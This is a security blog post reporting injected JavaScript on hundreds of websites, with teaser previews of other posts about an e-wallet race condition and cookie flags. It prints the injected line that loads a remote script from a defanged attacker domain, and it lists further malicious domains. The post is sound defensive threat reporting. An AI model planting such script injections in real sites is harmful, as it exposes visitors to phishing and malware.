Skip to main content

Mysterious Javascript Code Found Infecting Hundreds of Websites

 



After installing Wappalyzer in my browser, I decided to test its functionality by visiting a familiar website. To my surprise, I was unexpectedly redirected to a spear phishing campaign. Knowing the website's usual practices, it seemed highly unlikely that they would intentionally redirect their visitors in such a manner. Intrigued by this anomaly, I took it upon myself to investigate the underlying cause of this redirection.

 

I have not yet known how threat actors implanted the Javascript Code in the victim's application but this is what it looked like.  

 

 

 

What does the code do?

 

The code is simply importing script from biggerfun[.]org domain. In other words, it's simply doing <script src="biggerfun[.]org"></script>


Further investigation


I wanted to check if others think the website is bad, so I looked into it more. I observed they do things similar to another group called TA569. You can learn more about TA569 here: https://www.proofpoint.com/us/blog/threat-insight/ta569-socgholish-and-beyond



How many hosts are infected?


Shodan results


 

Shodan requires some time for updates, and to the best of my knowledge, their scanners operate on IP addresses. Owing to vHosts, a single server can host multiple websites, all accessible from the same IP address, depending on the value of the HTTP Request header HOST. Hence, there should be more victims then the number shown by Shodan.

 

 

Analysis of threat actor's website

Malicious website: biggerfun[.]org

After bruteforcing the paths I found /admin

 

This could be a honeypot or a login page to their C2 dashboard.

 

Exposing more websites used in this campaign to host malicious Javascript code


1. emperorplan[.]org

2. catsndogz[.]org

3. treegreeny[.]org

4. cardladyjob[.]live

5. cjvdfw[.]com



 

 


Comments

Popular posts from this blog

Getting unlimited money by abusing the 'Send Money' feature

      It has been a while since I published a post. So, I am writing this one to share one of my interesting finding while testing an e-wallet application.     I glanced at my Total Balance and I was wondering if there was a way for me to increase it arbitrarily. So, I thought Race Condition would help me here.  What is a Race Condition vulnerability? "A race condition vulnerability typically occurs when your application has access to the same shared data and attempts to change variables within it simultaneously ." - automox.com So, I loaded up Turbo Intruder in Burp Suite and attempted testing it. I failed. I couldn't exploit it.  I didn't want to give up this soon. I kept that fire bottled up and changed my approach. I realized that the 'Send Money' feature uses basic maths to reduce balance from the sender's account and add it to the receiver's account. So, the feature did the following operations:   function sendMoney(sender, receiver, amoun...

Prevent account takeover with proper cookie configuration

    In this blog, I am writing about how improperly configured cookie may lead to account takeover. The type of account takeover I'm writing about is only possible when you're in the same local network as victim. Before explaining the issue, I want to thank Veshraj Ghimire for reviewing this.   Misconfiguration #1:  Not using 'secure' flag while setting cookies What is 'secure' flag? The secure flag is a setting that can be specified when a cookie is created and sent from a web server to a client browser. When a cookie is marked with the secure flag, the client browser will only transmit the cookie back to the server over a secure HTTPS connection. If the secure flag is not set, the cookie will be sent over both secure and insecure connections, making it vulnerable to eavesdropping and tampering by malicious actors.   Misconfiguration #2:  Cookie scoped to all the subdomains     What do I mean by "cookie scoped to all the subdomains"? If yo...